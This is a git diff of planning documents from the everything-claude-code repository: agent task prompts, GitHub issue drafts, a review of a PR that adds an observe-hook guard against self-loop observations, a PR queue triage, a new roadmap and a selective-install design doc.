-Work in: /everything-claude-code - -Goal: -Review PR #399 ("fix(observe): 5-layer automated session guard to prevent -self-loop observations") against the actual loop problem described in issue -#398 and the March 11 mega plan. Do not assume the old failing CI on the PR is -still meaningful, because the Windows baseline was repaired later in #417. - -Tasks: -1. Read issue #398 and PR #399 in full. -2. Inspect the observe hook implementation and tests locally. -3. Determine whether the PR really prevents observer self-observation, - automated-session observation, and runaway recursive loops. -4. Identify any missing env-based bypass, idle gating, or session exclusion - behavior. -5. Produce a merge recommendation with findings ordered by severity. - -Constraints: -- Do not merge automatically. -- Do not rewrite unrelated hook behavior. -- If you make code changes, keep them tightly scoped to observe behavior and - tests. - -Deliverables: -- review summary -- exact findings with file references -- recommended merge / rework decision -- test commands run -``` - -### Prompt B — Roadmap Issues Extraction - -```text -Work in: /everything-claude-code - -Goal: -Convert recurring discussion pressure from the mega plan into concrete GitHub -issues. Focus on high-signal roadmap items that unblock ECC 1.x and ECC 2.0. - -Create issue drafts or a ready-to-post issue bundle for: -1. selective install profiles -2. uninstall / doctor / repair lifecycle -3. generated skill placement and provenance policy -4. governance past the tool call -5. ECC 2.0 discovery doc / adapter contracts - -Tasks: -1. Read the March 11 mega plan and March 12 handoff. -2. Deduplicate against already-open issues. -3. Draft issue titles, problem statements, scope, non-goals, acceptance - criteria, and file/system areas affected. - -Constraints: -- Do not create filler issues. -- Prefer 4-6 high-value issues over a large backlog dump. -- Keep each issue scoped so it could plausibly land in one focused PR series. - -Deliverables: -- issue shortlist -- ready-to-post issue bodies -- duplication notes against existing issues -``` - -### Prompt C — ECC 2.0 Discovery and Adapter Spec - -```text -Work in: /everything-claude-code - -Goal: -Turn the existing ECC 2.0 vision into a first concrete discovery doc focused on -adapter contracts, session/task state, token accounting, and security/policy -events. - -Tasks: -1. Use the current orchestration/session snapshot code as the baseline. -2. Define a normalized adapter contract for Claude Code, Codex, OpenCode, and - later Cursor / GitHub App integration. -3. Define the initial SQLite-backed data model for sessions, tasks, worktrees, - events, findings, and approvals. -4. Define what stays in ECC 1.x versus what belongs in ECC 2.0. -5. Call out unresolved product decisions separately from implementation - requirements. - -Constraints: -- Treat the current tmux/worktree/session snapshot substrate as the starting - point, not a blank slate. -- Keep the doc implementation-oriented. - -Deliverables: -- discovery doc -- adapter contract sketch -- event model sketch -- unresolved questions list -``` - -## Repo: `agentshield` - -### Prompt — False Positive Audit and Regression Plan - -```text -Work in: /agentshield - -Goal: -Advance the AgentShield Phase 2 workstream from the mega plan: reduce false -positives, especially where declarative deny rules, block hooks, docs examples, -or config snippets are misclassified as executable risk. - -Important repo state: -- branch is currently main -- dirty files exist in CLAUDE.md and README.md -- classify or park existing edits before broader changes - -Tasks: -1. Inspect the current false-positive behavior around: - - .claude hook configs - - AGENTS.md / CLAUDE.md - - .cursor rules - - .opencode plugin configs - - sample deny-list patterns -2. Separate parser behavior for declarative patterns vs executable commands. -3. Propose regression coverage additions and the exact fixture set needed. -4. If safe after branch setup, implement the first pass of the classifier fix. - -Constraints: -- do not work directly on dirty main -- keep fixes parser/classifier-scoped -- document any remaining ambiguity explicitly - -Deliverables: -- branch recommendation -- false-positive taxonomy -- proposed or landed regression tests -- remaining edge cases -``` - -## Repo: `ECC-website` - -### Prompt — Landing Rewrite and Product Framing - -```text -Work in: /ECC-website - -Goal: -Execute the website lane from the mega plan by rewriting the landing/product -framing away from "config repo" and toward "open agent harness system" plus -future control-plane direction. - -Important repo state: -- branch is currently main -- dirty files exist in favicon assets and multiple page/component files -- branch before meaningful work and preserve existing edits unless explicitly - classified as stale - -Tasks: -1. Classify the dirty main worktree state. -2. Rewrite the landing page narrative around: - - open agent harness system - - runtime guardrails - - cross-harness parity - - operator visibility and security -3. Define or update the next key pages: - - /skills - - /security - - /platforms - - /system or /dashboard -4. Keep the page visually intentional and product-forward, not generic SaaS. - -Constraints: -- do not silently overwrite existing dirty work -- preserve existing design system where it is coherent -- distinguish ECC 1.x toolkit from ECC 2.0 control plane clearly - -Deliverables: -- branch recommendation -- landing-page rewrite diff or content spec -- follow-up page map -- deployment readiness notes -``` - -## Repo: `skill-creator-app` - -### Prompt — Skill Import Pipeline and Product Fit - -```text -Work in: /skill-creator-app - -Goal: -Align skill-creator-app with the mega-plan external skill sourcing and audited -import pipeline workstream. - -Important repo state: -- branch is currently main -- dirty files exist in README.md and src/lib/github.ts -- classify or park existing changes before broader work - -Tasks: -1. Assess whether the app should support: - - inventorying external skills - - provenance tagging - - dependency/risk audit fields - - ECC convention adaptation workflows -2. Review the existing GitHub integration surface in src/lib/github.ts. -3. Produce a concrete product/technical scope for an audited import pipeline. -4. If safe after branching, land the smallest enabling changes for metadata - capture or GitHub ingestion. - -Constraints: -- do not turn this into a generic prompt-builder -- keep the focus on audited skill ingestion and ECC-compatible output - -Deliverables: -- product-fit summary -- recommended scope for v1 -- data fields / workflow steps for the import pipeline -- code changes if they are small and clearly justified -``` - -## Repo: `ECC` Workspace (`applications/`, `knowledge/`, `tasks/`) - -### Prompt — Example Apps and Workflow Reliability Proofs - -```text -Work in: - -Goal: -Use the parent ECC workspace to support the mega-plan hosted/workflow lanes. -This is not a standalone applications repo; it is the umbrella workspace that -contains applications/, knowledge/, tasks/, and related planning assets. - -Tasks: -1. Inventory what in applications/ is real product code vs placeholder. -2. Identify where example repos or demo apps should live for: - - GitHub App workflow proofs - - ECC 2.0 prototype spikes - - example install / setup reliability checks -3. Propose a clean workspace structure so product code, research, and planning - stop bleeding into each other. -4. Recommend which proof-of-concept should be built first. - -Constraints: -- do not move large directories blindly -- distinguish repo structure recommendations from immediate code changes -- keep recommendations compatible with the current multi-repo ECC setup - -Deliverables: -- workspace inventory -- proposed structure -- first demo/app recommendation -- follow-up branch/worktree plan -``` - -## Local Continuation - -The current worktree should stay on ECC-native Phase 1 work that does not touch -the existing dirty skill-file changes here. The best next local tasks are: - -1. selective-install architecture -2. ECC 2.0 discovery doc -3. PR `#399` review diff --git a/docs/PHASE1-ISSUE-BUNDLE-2026-03-12.md b/docs/PHASE1-ISSUE-BUNDLE-2026-03-12.md deleted file mode 100644 index d1594a3af..000000000 --- a/docs/PHASE1-ISSUE-BUNDLE-2026-03-12.md +++ /dev/null @@ -1,272 +0,0 @@ -# Phase 1 Issue Bundle — March 12, 2026 - -## Status - -These issue drafts were prepared from the March 11 mega plan plus the March 12 -handoff. I attempted to open them directly in GitHub, but issue creation was -blocked by missing GitHub authentication in the MCP session. - -## GitHub Status - -These drafts were later posted via `gh`: - -- `#423` Implement manifest-driven selective install profiles for ECC -- `#421` Add ECC install-state plus uninstall / doctor / repair lifecycle -- `#424` Define canonical session adapter contract for ECC 2.0 control plane -- `#422` Define generated skill placement and provenance policy -- `#425` Define governance and visibility past the tool call - -The bodies below are preserved as the local source bundle used to create the -issues. - -## Issue 1 - -### Title - -Implement manifest-driven selective install profiles for ECC - -### Labels - -- `enhancement` - -### Body - -```md -## Problem - -ECC still installs primarily by target and language. The repo now has first-pass -selective-install manifests and a non-mutating plan resolver, but the installer -itself does not yet consume those profiles. - -Current groundwork already landed in-repo: - -- `manifests/install-modules.json` -- `manifests/install-profiles.json` -- `scripts/ci/validate-install-manifests.js` -- `scripts/lib/install-manifests.js` -- `scripts/install-plan.js` - -That means the missing step is no longer design discovery. The missing step is -execution: wire profile/module resolution into the actual install flow while -preserving backward compatibility. - -## Scope - -Implement manifest-driven install execution for current ECC targets: - -- `claude` -- `cursor` -- `antigravity` - -Add first-pass support for: - -- `ecc-install --profile ` -- `ecc-install --modules ` -- target-aware filtering based on module target support -- backward-compatible legacy language installs during rollout - -## Non-Goals - -- Full uninstall/doctor/repair lifecycle in the same issue -- Codex/OpenCode install targets in the first pass if that blocks rollout -- Reorganizing the repository into separate published packages - -## Acceptance Criteria - -- `install.sh` can resolve and install a named profile -- `install.sh` can resolve explicit module IDs -- Unsupported modules for a target are skipped or rejected deterministically -- Legacy language-based install mode still works -- Tests cover profile resolution and installer behavior -- Docs explain the new preferred profile/module install path -``` - -## Issue 2 - -### Title - -Add ECC install-state plus uninstall / doctor / repair lifecycle - -### Labels - -- `enhancement` - -### Body - -```md -## Problem - -ECC has no canonical installed-state record. That makes uninstall, repair, and -post-install inspection nondeterministic. - -Today the repo can classify installable content, but it still cannot reliably -answer: - -- what profile/modules were installed -- what target they were installed into -- what paths ECC owns -- how to remove or repair only ECC-managed files - -Without install-state, lifecycle commands are guesswork. - -## Scope - -Introduce a durable install-state contract and the first lifecycle commands: - -- `ecc list-installed` -- `ecc uninstall` -- `ecc doctor` -- `ecc repair` - -Suggested state locations: - -- Claude: `~/.claude/ecc/install-state.json` -- Cursor: `./.cursor/ecc-install-state.json` -- Antigravity: `./.agent/ecc-install-state.json` - -The state file should capture at minimum: - -- installed version -- timestamp -- target -- profile -- resolved modules -- copied/managed paths -- source repo version or package version - -## Non-Goals - -- Rebuilding the installer architecture from scratch -- Full remote/cloud control-plane functionality -- Target support expansion beyond the current local installers unless it falls - out naturally - -## Acceptance Criteria - -- Successful installs write install-state deterministically -- `list-installed` reports target/profile/modules/version cleanly -- `doctor` reports missing or drifted managed paths -- `repair` restores missing managed files from recorded install-state -- `uninstall` removes only ECC-managed files and leaves unrelated local files - alone -- Tests cover install-state creation and lifecycle behavior -``` - -## Issue 3 - -### Title - -Define canonical session adapter contract for ECC 2.0 control plane - -### Labels - -- `enhancement` - -### Body - -```md -## Problem - -ECC now has real orchestration/session substrate, but it is still -implementation-specific. - -Current state: - -- tmux/worktree orchestration exists -- machine-readable session snapshots exist -- Claude local session-history commands exist - -What does not exist yet is a harness-neutral adapter boundary that can normalize -session/task state across: - -- tmux-orchestrated workers -- plain Claude sessions -- Codex worktrees -- OpenCode sessions -- later remote or GitHub-integrated operator surfaces - -Without that adapter contract, any future ECC 2.0 operator shell will be forced -to read tmux-specific and markdown-coordination details directly. - -## Scope - -Define and implement the first-pass canonical session adapter layer. - -Suggested deliverables: - -- adapter registry -- canonical session snapshot schema -- `dmux-tmux` adapter backed by current orchestration code -- `claude-history` adapter backed by current session history utilities -- read-only inspection CLI for canonical session snapshots - -## Non-Goals - -- Full ECC 2.0 UI in the same issue -- Monetization/GitHub App implementation -- Remote multi-user control plane - -## Acceptance Criteria - -- There is a documented canonical snapshot contract -- Current tmux orchestration snapshot code is wrapped as an adapter rather than - the top-level product contract -- A second non-tmux adapter exists to prove the abstraction is real -- Tests cover adapter selection and normalized snapshot output -- The design clearly separates adapter concerns from orchestration and UI - concerns -``` - -## Issue 4 - -### Title - -Define generated skill placement and provenance policy - -### Labels - -- `enhancement` - -### Body - -```md -## Problem - -ECC now has a large and growing skill surface, but generated/imported/learned -skills do not yet have a clear long-term placement and provenance policy. - -This creates several problems: - -- unclear separation between curated skills and generated/learned skills -- validator noise around directories that may or may not exist locally -- weak provenance for imported or machine-generated skill content -- uncertainty about where future automated learning outputs should live - -As ECC grows, the repo needs explicit rules for where generated skill artifacts -belong and how they are identified. - -## Scope - -Define a repo-wide policy for: - -- curated vs generated vs imported skill placement -- provenance metadata requirements -- validator behavior for optional/generated skill directories -- whether generated skills are shipped, ignored, or materialized during - install/build steps - -## Non-Goals - -- Building a full external skill marketplace -- Rewriting all existing skill content in one pass -- Solving every content-quality issue in the same issue - -## Acceptance Criteria - -- A documented placement policy exists for generated/imported skills -- Provenance requirements are explicit -- Validators no longer produce ambiguous behavior around optional/generated - skill locations -- The policy clearly states what is publishable vs local-only -- Follow-on implementation work is split into concrete, bounded PR-sized steps -``` diff --git a/docs/PR-399-REVIEW-2026-03-12.md b/docs/PR-399-REVIEW-2026-03-12.md deleted file mode 100644 index 98a2ef238..000000000 --- a/docs/PR-399-REVIEW-2026-03-12.md +++ /dev/null @@ -1,59 +0,0 @@ -# PR 399 Review — March 12, 2026 - -## Scope - -Reviewed `#399`: - -- title: `fix(observe): 5-layer automated session guard to prevent self-loop observations` -- head: `e7df0e588ceecfcd1072ef616034ccd33bb0f251` -- files changed: - - `skills/continuous-learning-v2/hooks/observe.sh` - - `skills/continuous-learning-v2/agents/observer-loop.sh` - -## Findings - -### Medium - -1. `skills/continuous-learning-v2/hooks/observe.sh` - -The new `CLAUDE_CODE_ENTRYPOINT` guard uses a finite allowlist of known -non-`cli` values (`sdk-ts`, `sdk-py`, `sdk-cli`, `mcp`, `remote`). - -That leaves a forward-compatibility hole: any future non-`cli` entrypoint value -will fall through and be treated as interactive. That reintroduces the exact -class of automated-session observation the PR is trying to prevent. - -The safer rule is: - -- allow only `cli` -- treat every other explicit entrypoint as automated -- keep the default fallback as `cli` when the variable is unset - -Suggested shape: - -```bash -case "${CLAUDE_CODE_ENTRYPOINT:-cli}" in - cli) ;; - *) exit 0 ;; -esac -``` - -## Merge Recommendation - -`Needs one follow-up change before merge.` - -The PR direction is correct: - -- it closes the ECC self-observation loop in `observer-loop.sh` -- it adds multiple guard layers in the right area of `observe.sh` -- it already addressed the cheaper-first ordering and skip-path trimming issues - -But the entrypoint guard should be generalized before merge so the automation -filter does not silently age out when Claude Code introduces additional -non-interactive entrypoints. - -## Residual Risk - -- There is still no dedicated regression test coverage around the new shell - guard behavior, so the final merge should include at least one executable - verification pass for the entrypoint and skip-path cases. diff --git a/docs/PR-QUEUE-TRIAGE-2026-03-13.md b/docs/PR-QUEUE-TRIAGE-2026-03-13.md deleted file mode 100644 index 892ff579f..000000000 --- a/docs/PR-QUEUE-TRIAGE-2026-03-13.md +++ /dev/null @@ -1,355 +0,0 @@ -# PR Review And Queue Triage — March 13, 2026 - -## Snapshot - -This document records a live GitHub triage snapshot for the -`everything-claude-code` pull-request queue as of `2026-03-13T08:33:31Z`. - -Sources used: - -- `gh pr view` -- `gh pr checks` -- `gh pr diff --name-only` -- targeted local verification against the merged `#399` head - -Stale threshold used for this pass: - -- `last updated before 2026-02-11` (`>30` days before March 13, 2026) - -## PR `#399` Retrospective Review - -PR: - -- `#399` — `fix(observe): 5-layer automated session guard to prevent self-loop observations` -- state: `MERGED` -- merged at: `2026-03-13T06:40:03Z` -- merge commit: `c52a28ace9e7e84c00309fc7b629955dfc46ecf9` - -Files changed: - -- `skills/continuous-learning-v2/hooks/observe.sh` -- `skills/continuous-learning-v2/agents/observer-loop.sh` - -Validation performed against merged head `546628182200c16cc222b97673ddd79e942eacce`: - -- `bash -n` on both changed shell scripts -- `node tests/hooks/hooks.test.js` (`204` passed, `0` failed) -- targeted hook invocations for: - - interactive CLI session - - `CLAUDE_CODE_ENTRYPOINT=mcp` - - `ECC_HOOK_PROFILE=minimal` - - `ECC_SKIP_OBSERVE=1` - - `agent_id` payload - - trimmed `ECC_OBSERVE_SKIP_PATHS` - -Behavioral result: - -- the core self-loop fix works -- automated-session guard branches suppress observation writes as intended -- the final `non-cli => exit` entrypoint logic is the correct fail-closed shape - -Remaining findings: - -1. Medium: skipped automated sessions still create homunculus project state - before the new guards exit. - `observe.sh` resolves `cwd` and sources project detection before reaching the - automated-session guard block, so `detect-project.sh` still creates - `projects//...` directories and updates `projects.json` for sessions that - later exit early. -2. Low: the new guard matrix shipped without direct regression coverage. - The hook test suite still validates adjacent behavior, but it does not - directly assert the new `CLAUDE_CODE_ENTRYPOINT`, `ECC_HOOK_PROFILE`, - `ECC_SKIP_OBSERVE`, `agent_id`, or trimmed skip-path branches. - -Verdict: - -- `#399` is technically correct for its primary goal and was safe to merge as - the urgent loop-stop fix. -- It still warrants a follow-up issue or patch to move automated-session guards - ahead of project-registration side effects and to add explicit guard-path - tests. - -## Open PR Inventory - -There are currently `4` open PRs. - -### Queue Table - -| PR | Title | Draft | Mergeable | Merge State | Updated | Stale | Current Verdict | -| --- | --- | --- | --- | --- | --- | --- | --- | -| `#292` | `chore(config): governance and config foundation (PR #272 split 1/6)` | `false` | `MERGEABLE` | `UNSTABLE` | `2026-03-13T07:26:55Z` | `No` | `Best current merge candidate` | -| `#298` | `feat(agents,skills,rules): add Rust, Java, mobile, DevOps, and performance content` | `false` | `CONFLICTING` | `DIRTY` | `2026-03-11T04:29:07Z` | `No` | `Needs changes before review can finish` | -| `#336` | `Customisation for Codex CLI - Features from Claude Code and OpenCode` | `true` | `MERGEABLE` | `UNSTABLE` | `2026-03-13T07:26:12Z` | `No` | `Needs manual review and draft exit` | -| `#420` | `feat: add laravel skills` | `true` | `MERGEABLE` | `UNSTABLE` | `2026-03-12T22:57:36Z` | `No` | `Low-risk draft, review after draft exit` | - -No currently open PR is stale by the `>30 days since last update` rule. - -## Per-PR Assessment - -### `#292` — Governance / Config Foundation - -Live state: - -- open -- non-draft -- `MERGEABLE` -- merge state `UNSTABLE` -- visible checks: - - `CodeRabbit` passed - - `GitGuardian Security Checks` passed - -Scope: - -- `.env.example` -- `.github/ISSUE_TEMPLATE/copilot-task.md` -- `.github/PULL_REQUEST_TEMPLATE.md` -- `.gitignore` -- `.markdownlint.json` -- `.tool-versions` -- `VERSION` - -Assessment: - -- This is the cleanest merge candidate in the current queue. -- The branch was already refreshed onto current `main`. -- The currently visible bot feedback is minor/nit-level rather than obviously - merge-blocking. -- The main caution is that only external bot checks are visible right now; no - GitHub Actions matrix run appears in the current PR checks output. - -Current recommendation: - -- `Mergeable after one final owner pass.` -- If you want a conservative path, do one quick human review of the remaining - `.env.example`, PR-template, and `.tool-versions` nitpicks before merge. - -### `#298` — Large Multi-Domain Content Expansion - -Live state: - -- open -- non-draft -- `CONFLICTING` -- merge state `DIRTY` -- visible checks: - - `CodeRabbit` passed - - `GitGuardian Security Checks` passed - - `cubic · AI code reviewer` passed - -Scope: - -- `35` files -- large documentation and skill/rule expansion across Java, Rust, mobile, - DevOps, performance, data, and MLOps - -Assessment: - -- This PR is not ready for merge. -- It conflicts with current `main`, so it is not even mergeable at the branch - level yet. -- cubic identified `34` issues across `35` files in the current review. - Those findings are substantive and technical, not just style cleanup, and - they cover broken or misleading examples across several new skills. -- Even without the conflict, the scope is large enough that it needs a deliberate - content-fix pass rather than a quick merge decision. - -Current recommendation: - -- `Needs changes.` -- Rebase or restack first, then resolve the substantive example-quality issues. -- If momentum matters, split by domain rather than carrying one very large PR. - -### `#336` — Codex CLI Customization - -Live state: - -- open -- draft -- `MERGEABLE` -- merge state `UNSTABLE` -- visible checks: - - `CodeRabbit` passed - - `GitGuardian Security Checks` passed - -Scope: - -- `scripts/codex-git-hooks/pre-commit` -- `scripts/codex-git-hooks/pre-push` -- `scripts/codex/check-codex-global-state.sh` -- `scripts/codex/install-global-git-hooks.sh` -- `scripts/sync-ecc-to-codex.sh` - -Assessment: - -- This PR is no longer conflicting, but it is still draft-only and has not had - a meaningful first-party review pass. -- It modifies user-global Codex setup behavior and git-hook installation, so the - operational blast radius is higher than a docs-only PR. -- The visible checks are only external bots; there is no full GitHub Actions run - shown in the current check set. -- Because the branch comes from a contributor fork `main`, it also deserves an - extra sanity pass on what exactly is being proposed before changing status. - -Current recommendation: - -- `Needs changes before merge readiness`, where the required changes are process - and review oriented rather than an already-proven code defect: - - finish manual review - - run or confirm validation on the global-state scripts - - take it out of draft only after that review is complete - -### `#420` — Laravel Skills - -Live state: - -- open -- draft -- `MERGEABLE` -- merge state `UNSTABLE` -- visible checks: - - `CodeRabbit` passed - - `GitGuardian Security Checks` passed - -Scope: - -- `README.md` -- `examples/laravel-api-CLAUDE.md` -- `rules/php/patterns.md` -- `rules/php/security.md` -- `rules/php/testing.md` -- `skills/configure-ecc/SKILL.md` -- `skills/laravel-patterns/SKILL.md` -- `skills/laravel-security/SKILL.md` -- `skills/laravel-tdd/SKILL.md` -- `skills/laravel-verification/SKILL.md` - -Assessment: - -- This is content-heavy and operationally lower risk than `#336`. -- It is still draft and has not had a substantive human review pass yet. -- The visible checks are external bots only. -- Nothing in the live PR state suggests a merge blocker yet, but it is not ready - to be merged simply because it is still draft and under-reviewed. - -Current recommendation: - -- `Review next after the highest-priority non-draft work.` -- Likely a good review candidate once the author is ready to exit draft. - -## Mergeability Buckets - -### Mergeable Now Or After A Final Owner Pass - -- `#292` - -### Needs Changes Before Merge - -- `#298` -- `#336` - -### Draft / Needs Review Before Any Merge Decision - -- `#420` - -### Stale `>30 Days` - -- none - -## Recommended Order - -1. `#292` - This is the cleanest live merge candidate. -2. `#420` - Low runtime risk, but wait for draft exit and a real review pass. -3. `#336` - Review carefully because it changes global Codex sync and hook behavior. -4. `#298` - Rebase and fix the substantive content issues before spending more review time - on it. - -## Bottom Line - -- `#399`: safe bugfix merge with one follow-up cleanup still warranted -- `#292`: highest-priority merge candidate in the current open queue -- `#298`: not mergeable; conflicts plus substantive content defects -- `#336`: no longer conflicting, but not ready while still draft and lightly - validated -- `#420`: draft, low-risk content lane, review after the non-draft queue - -## Live Refresh - -Refreshed at `2026-03-13T22:11:40Z`. - -### Main Branch - -- `origin/main` is green right now, including the Windows test matrix. -- Mainline CI repair is not the current bottleneck. - -### Updated Queue Read - -#### `#292` — Governance / Config Foundation - -- open -- non-draft -- `MERGEABLE` -- visible checks: - - `CodeRabbit` passed - - `GitGuardian Security Checks` passed -- highest-signal remaining work is not CI repair; it is the small correctness - pass on `.env.example` and PR-template alignment before merge - -Current recommendation: - -- `Next actionable PR.` -- Either patch the remaining doc/config correctness issues, or do one final - owner pass and merge if you accept the current tradeoffs. - -#### `#420` — Laravel Skills - -- open -- draft -- `MERGEABLE` -- visible checks: - - `CodeRabbit` skipped because the PR is draft - - `GitGuardian Security Checks` passed -- no substantive human review is visible yet - -Current recommendation: - -- `Review after the non-draft queue.` -- Low implementation risk, but not merge-ready while still draft and - under-reviewed. - -#### `#336` — Codex CLI Customization - -- open -- draft -- `MERGEABLE` -- visible checks: - - `CodeRabbit` passed - - `GitGuardian Security Checks` passed -- still needs a deliberate manual review because it touches global Codex sync - and git-hook installation behavior - -Current recommendation: - -- `Manual-review lane, not immediate merge lane.` - -#### `#298` — Large Content Expansion - -- open -- non-draft -- `CONFLICTING` -- still the hardest remaining PR in the queue - -Current recommendation: - -- `Last priority among current open PRs.` -- Rebase first, then handle the substantive content/example corrections. - -### Current Order - -1. `#292` -2. `#420` -3. `#336` -4. `#298` diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md new file mode 100644 index 000000000..9a3273e3c --- /dev/null +++ b/docs/ROADMAP.md @@ -0,0 +1,159 @@ +# ECC Roadmap + +Status: maintainer planning draft, updated 2026-09-09 against the integrated +source candidate based on release 2.2.1. Source inclusion is not a release or live +verification claim. Dates are targets, not commitments; bracketed numbers remain +planning choices. + +The two older planning docs stay as evidence and history: +`docs/ECC-2.0-GA-ROADMAP.md` (2.0 milestones and control-plane deltas) and +`docs/ECC-PRO-SECURITY-ROADMAP.md` (AgentShield and Pro conversion). This file +is the short, current view. + +## Vision + +ECC is the operating layer between a developer and whatever coding agent they +run. Shared skills, rules, and agent guidance provide portable core workflows +across Claude Code, Codex, OpenCode, Cursor, Gemini, and other harnesses. +Hooks, installation paths, and feature coverage vary by host; consult the +[support status matrix](../README.md#platform-support) for current limits. +The bar for everything that ships: simpler to read, faster to run, and +traceable after the fact, for agents and humans alike. + +Three things follow from that. + +1. **The repo is the product.** Curated skills, hooks, and rules are the + surface people install. Anything that is not installed, tested, or read by + someone should not be in the tree. +2. **Evidence over assertion.** A harness change earns trust through a gate + receipt, a capsule, and a reproducible verdict, not through a paragraph + saying it works. The offline eval framework provides the recording and review primitives; + isolated candidate execution remains future work. +3. **Operator patterns travel.** Approval loops, channel discipline, + agreement generation, and e-sign placement were built for one desk. As + generic skills they are useful to anyone running agents next to + counterparties, customers, or money. + +## Where we are + +- The 2.2.1 source baseline includes guided manifest-driven setup, install-state + ownership, repair and uninstall. Its release workflow requires exact-head + validation; this roadmap is not release-signature evidence. +- Catalog in this source snapshot: 68 agents, 291 skills, 94 legacy commands. The + count is a liability as much as an asset. Overlapping and unreferenced + skills exist. +- The README now has one primary install section, with per-harness details + and release history linked to `CHANGELOG.md`. Further shortening is a target, + not a completed claim. +- Eval source now includes capsule journals, replay matching and offline + receipt inspection, plus a protocol example. Candidate execution and staged + gate runs are disabled: no actual OS containment exists. Offline validation + and a receipt signature do not establish safe execution or promotion authority. +- The README describes AgentShield scanning and the hosted ECC Pro surface. + Further conversion and scan-history improvements below are proposals, not + evidence of missing paid functionality or verified adoption. + +## Plan + +### Track A: condense + +Cut what nobody reads or installs. Merge what overlaps. One README that reads +top to bottom in one pass. Exit criteria: no zero-reference tracked doc +outside `docs/releases/`, no deprecated skill still shipped by default, +README under [1,200] lines with one install path per harness. + +### Track B: evidence + +Implement and independently test an OS executor before enabling the gate: +contain child processes, filesystem and network access, scrub inherited +capabilities, enforce resource limits, and bind replay and result provenance. +Keep execution disabled until those boundaries are proven. Then wire the +`harness-optimizer` agent and `/harness-audit` to emit gate receipts. Add +capsule recording to the hooks that already log session activity. Then the +next two plan slices: offline retrospective grouping over capsules (no new +rollouts) and forced-compaction tests that prove pinned constraints survive. + +Offline code preparation is available as `capsule group` over explicitly +selected, verified local snapshots from one task family. It only groups recorded +counts and digests; it does not run candidates, score outcomes or promote changes. +This utility does not fulfill the executor, hook-recording or stable-taskset +prerequisites for the operational milestone below. See the +[retrospective contract](architecture/eval-harness-frameworks.md#offline-retrospective-preparation). + +### Track C: operator skills + +The four desk-pattern skills are present in this candidate: operator approval +loop, counterparty channel discipline, master agreement drafting with bounded +schedule append, and e-sign field placement guidance. Validate each with its +actual consumer and collect outside feedback before adding more. Written send +and audience contracts do not claim transport enforcement; generated agreements +remain drafts and DOCX conversion does not establish execution readiness. + +### Track D: distribution and revenue + +Keep the release path boring: tag on main, CI green at the exact head, packed +artifact tested on three platforms. Improve the AgentShield-to-Pro conversion path, evaluating hosted scan history +and a PR-comment autofix loop against what the hosted product already supports. Details and +scoring live in the security roadmap. + +## Next 90 days + +Window: 2026-09-02 to 2026-12-01. + +### September + +- Review and release the composed 2026-09-02 program: offline eval frameworks, + desk-pattern skills, condensation and this roadmap. The source candidate + incorporates them; merge and release remain separate maintainer decisions. +- README linear pass merged. Release notes move to `CHANGELOG.md` only. +- Delete list from the condensation survey executed, with catalog counts, + manifests, and locale mirrors updated in the same PR. +- Decide the fate of `continuous-learning` v1 (deprecated since April): remove + in [2.3.0] with a migration note, or keep as an archive outside the default + install. + +### October + +- `harness-optimizer` and `/harness-audit` produce gate receipts. A skill, + hook, or agent change in this repo can cite a receipt in its PR. +- Capsule recording behind an opt-in hook flag, journaling tool calls and + session boundaries with the default-deny payload allowlist. +- First taskset beyond the example: [20 to 60] tasks over one real skill + family, with a held-out split and a reward-hack fixture. +- Skill catalog review: every skill has a test, a command, an agent, or a + README mention, or it is marked for removal in [2.4.0]. + +### November + +- 2.3.0: condensation, eval frameworks, and operator skills in one release + with the packed-artifact gate. +- Retrospective grouping over recorded capsules for one task family, report + only, no promotion. +- Forced-compaction invariance test in CI for the pinned-state pattern. +- AgentShield Pro conversion CTA and hosted scan history behind a flag. + +### Decision points + +- 2026-09-30: is the README under the line target with no test regressions? + If not, cut scope on Track A rather than slipping the release. +- 2026-10-31: does a real taskset produce a stable verdict across three runs? + If variance is high, hold Track B at receipts and do not start retrospective + grouping. +- 2026-11-30: did any outside user adopt a desk-pattern skill? If none, stop + adding operator skills and fold the four into a single guide. + +## Not on this roadmap + +- Online reinforcement learning or weight updates from capsule data. +- Production transparency-log witnessing, GPU attestation, or key management + inside the ECC package. +- Automatic merge or release driven by a gate verdict. The gate stops changes. + A person promotes them. +- Any desk, payment, provider, or counterparty integration. Those belong to + the systems that own them, not to a portable plugin. + +## How to edit this file + +Change the bracketed numbers first. Move items between months freely. When a +line ships, delete it here and record it in `CHANGELOG.md`. Keep the file +under [200] lines. diff --git a/docs/SELECTIVE-INSTALL-ARCHITECTURE.md b/docs/SELECTIVE-INSTALL-ARCHITECTURE.md index 63e50f028..cd5e2226d 100644 --- a/docs/SELECTIVE-INSTALL-ARCHITECTURE.md +++ b/docs/SELECTIVE-INSTALL-ARCHITECTURE.md @@ -703,7 +703,7 @@ Suggested payload: "skippedModules": [] }, "source": { - "repoVersion": "2.2.1", + "repoVersion": "2.2.2", "repoCommit": "git-sha", "manifestVersion": 1 }, diff --git a/docs/SELECTIVE-INSTALL-DESIGN.md b/docs/SELECTIVE-INSTALL-DESIGN.md deleted file mode 100644 index 817210ce8..000000000 --- a/docs/SELECTIVE-INSTALL-DESIGN.md +++ /dev/null @@ -1,489 +0,0 @@ -# ECC Selective Install Design - -## Purpose - -This document defines the user-facing selective-install design for ECC. - -It complements -`docs/SELECTIVE-INSTALL-ARCHITECTURE.md`, which focuses on internal runtime -architecture and code boundaries. - -This document answers the product and operator questions first: - -- how users choose ECC components -- what the CLI should feel like -- what config file should exist -- how installation should behave across harness targets -- how the design maps onto the current ECC codebase without requiring a rewrite - -## Problem - -Today ECC still feels like a large payload installer even though the repo now -has first-pass manifest and lifecycle support. - -Users need a simpler mental model: - -- install the baseline -- add the language packs they actually use -- add the framework configs they actually want -- add optional capability packs like security, research, or orchestration - -The selective-install system should make ECC feel composable instead of -all-or-nothing. - -In the current substrate, user-facing components are still an alias layer over -coarser internal install modules. That means include/exclude is already useful -at the module-selection level, but some file-level boundaries remain imperfect -until the underlying module graph is split more finely. - -## Goals - -1. Let users install a small default ECC footprint quickly. -2. Let users compose installs from reusable component families: - - core rules - - language packs - - framework packs - - capability packs - - target/platform configs -3. Keep one consistent UX across Claude, Cursor, Antigravity, Codex, and - OpenCode. -4. Keep installs inspectable, repairable, and uninstallable. -5. Preserve backward compatibility with the current `ecc-install typescript` - style during rollout. - -## Non-Goals - -- packaging ECC into multiple npm packages in the first phase -- building a remote marketplace -- full control-plane UI in the same phase -- solving every skill-classification problem before selective install ships - -## User Experience Principles - -### 1. Start Small - -A user should be able to get a useful ECC install with one command: - -```bash -ecc install --target claude --profile core -``` - -The default experience should not assume the user wants every skill family and 